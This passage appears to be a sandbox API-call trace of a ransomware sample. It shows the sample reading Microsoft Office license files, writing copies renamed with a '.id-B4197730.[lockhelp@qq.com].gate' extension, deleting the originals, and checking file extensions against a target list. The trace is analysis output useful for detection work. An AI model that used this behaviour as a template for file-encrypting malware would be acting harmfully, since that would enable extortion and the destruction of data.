office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 0x220 [0316.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0316.082] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.082] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0316.083] GetLastError () returned 0x0 [0316.083] ReadFile (in: hFile=0x4c0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x2d7c, lpOverlapped=0x0) returned 1 [0316.194] WriteFile (in: hFile=0x4a0, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0316.196] ReadFile (in: hFile=0x4c0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.196] WriteFile (in: hFile=0x4a0, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11e, lpOverlapped=0x0) returned 1 [0316.196] SetEndOfFile (hFile=0x4a0) returned 1 [0316.196] CloseHandle (hObject=0x4a0) returned 1 [0316.196] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.196] SetEndOfFile (hFile=0x4c0) returned 1 [0316.200] CloseHandle (hObject=0x4c0) returned 1 [0316.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 1 [0316.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0316.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0316.201] lstrlenW (lpString=".doc") returned 4 [0316.201] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.201] lstrlenW (lpString=".docx") returned 5 [0316.201] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.201] lstrlenW (lpString=".pdf") returned 4 [0316.202] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.202] lstrlenW (lpString=".xls") returned 4 [0316.202] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.202] lstrlenW (lpString=".xlsx") returned 5 [0316.202] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.202] lstrlenW (lpString=".ppt") returned 4 [0316.202] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0316.202] lstrlenW (lpString=".zip") returned 4 [0316.202] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.202] lstrlenW (lpString=".rar") returned 4 [0316.202] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.202] lstrlenW (lpString=".bz2") returned 4 [0316.202] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.202] lstrlenW (lpString=".7z") returned 3 [0316.202] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0316.202] lstrlenW (lpString=".dbf") returned 4 [0316.202] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0316.202] lstrlenW (lpString=".1cd") returned 4 [0316.202] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0316.202] lstrlenW (lpString=".jpg") returned 4 [0316.202] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.212] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=22033) returned 1 [0316.212] CloseHandle (hObject=0x4c0) returned 1 [0316.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 0x220 [0316.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0316.213] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.213] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0316.233] GetLastError () returned 0x0 [0316.233] ReadFile (in: hFile=0x4c0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x5611, lpOverlapped=0x0) returned 1 [0316.431] WriteFile (in: hFile=0x554, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x5620, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x5620, lpOverlapped=0x0) returned 1 [0316.432] ReadFile (in: hFile=0x4c0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.432] WriteFile (in: hFile=0x554, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x110, lpOverlapped=0x0) returned 1 [0316.432] SetEndOfFile (hFile=0x554) returned 1 [0316.432] CloseHandle (hObject=0x554) returned 1 [0316.432] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.432] SetEndOfFile (hFile=0x4c0) returned 1 [0316.434] CloseHandle (hObject=0x4c0) returned 1 [0316.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 1 [0316.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0316.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0316.546] lstrlenW (lpString=".doc") returned 4 [0316.546] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.546] lstrlenW (lpString=".docx") returned 5 [0316.546] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.546] lstrlenW (lpString=".pdf") returned 4 [0316.546] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.546] lstrlenW (lpString=".xls") returned 4 [0316.546] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.546] lstrlenW (lpString=".xlsx") returned 5 [0316.546] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.546] lstrlenW (lpString=".ppt") returned 4 [0316.546] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0316.546] lstrlenW (lpString=".zip") returned 4 [0316.546] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.546] lstrlenW (lpString=".rar") returned 4 [0316.546] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.546] lstrlenW (lpString=".bz2") returned 4 [0316.546] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.546] lstrlenW (lpString=".7z") returned 3 [0316.546] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0316.547] lstrlenW (lpString=".dbf") returned 4 [0316.547] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0316.547] lstrlenW (lpString=".1cd") returned 4 [0316.547] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0316.547] lstrlenW (lpString=".jpg") returned 4 [0316.547] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.547] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=10667) returned 1 [0316.547] CloseHandle (hObject=0x4b4) returned 1 [0316.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 0x220 [0316.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0316.548] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.548] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0316.548] GetLastError () returned 0x0 [0316.548] ReadFile (in: hFile=0x4b4, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x29ab, lpOverlapped=0x0) returned 1 [0316.591] WriteFile (in: hFile=0x4b8, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0316.592] ReadFile (in: hFile=0x4b4, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.592] WriteFile (in: hFile=0x4b8, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x116, lpOverlapped=0x0) returned 1 [0316.592] SetEndOfFile (hFile=0x4b8) returned 1 [0316.593] CloseHandle (hObject=0x4b8) returned 1 [0316.593] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.593] SetEndOfFile (hFile=0x4b4) returned 1 [0316.606] CloseHandle (hObject=0x4b4) returned 1 [0316.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.653] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 1 [0316.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0316.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0316.654] lstrlenW (lpString=".doc") returned 4 [0316.654] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.654] lstrlenW (lpString=".docx") returned 5 [0316.654] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.654] lstrlenW (lpString=".pdf") returned 4 [0316.654] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.654] lstrlenW (lpString=".xls") returned 4 [0316.654] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.654] lstrlenW (lpString=".xlsx") returned 5 [0316.654] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.654] lstrlenW (lpString=".ppt") returned 4 [0316.654] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0316.654] lstrlenW (lpString=".zip") returned 4 [0316.654] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.654] lstrlenW (lpString=".rar") returned 4 [0316.654] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.654] lstrlenW (lpString=".bz2") returned 4 [0316.654] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.654] lstrlenW (lpString=".7z") returned 3 [0316.654] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0316.654] lstrlenW (lpString=".dbf") returned 4 [0316.654] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0316.654] lstrlenW (lpString=".1cd") returned 4 [0316.654] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0316.655] lstrlenW (lpString=".jpg") returned 4 [0316.655] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.655] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=11621) returned 1 [0316.655] CloseHandle (hObject=0x414) returned 1 [0316.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 0x220 [0316.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0316.656] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.656] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0316.656] GetLastError () returned 0x0 [0316.656] ReadFile (in: hFile=0x414, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0316.707] WriteFile (in: hFile=0x404, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0316.708] ReadFile (in: hFile=0x414, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.708] WriteFile (in: hFile=0x404, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11e, lpOverlapped=0x0) returned 1 [0316.708] SetEndOfFile (hFile=0x404) returned 1 [0316.708] CloseHandle (hObject=0x404) returned 1 [0316.708] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.708] SetEndOfFile (hFile=0x414) returned 1 [0316.711] CloseHandle (hObject=0x414) returned 1 [0316.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 1 [0316.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0316.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0316.712] lstrlenW (lpString=".doc") returned 4 [0316.712] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.712] lstrlenW (lpString=".docx") returned 5 [0316.712] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.712] lstrlenW (lpString=".pdf") returned 4 [0316.712] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.712] lstrlenW (lpString=".xls") returned 4 [0316.712] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.712] lstrlenW (lpString=".xlsx") returned 5 [0316.712] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.712] lstrlenW (lpString=".ppt") returned 4 [0316.712] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0316.712] lstrlenW (lpString=".zip") returned 4 [0316.712] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.712] lstrlenW (lpString=".rar") returned 4 [0316.712] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.712] lstrlenW (lpString=".bz2") returned 4 [0316.713] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.713] lstrlenW (lpString=".7z") returned 3 [0316.713] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0316.713] lstrlenW (lpString=".dbf") returned 4 [0316.713] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0316.713] lstrlenW (lpString=".1cd") returned 4 [0316.713] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0316.713] lstrlenW (lpString=".jpg") returned 4 [0316.713] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.713] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=22094) returned 1 [0316.714] CloseHandle (hObject=0x414) returned 1 [0316.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 0x220 [0316.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0316.714] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.714] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft 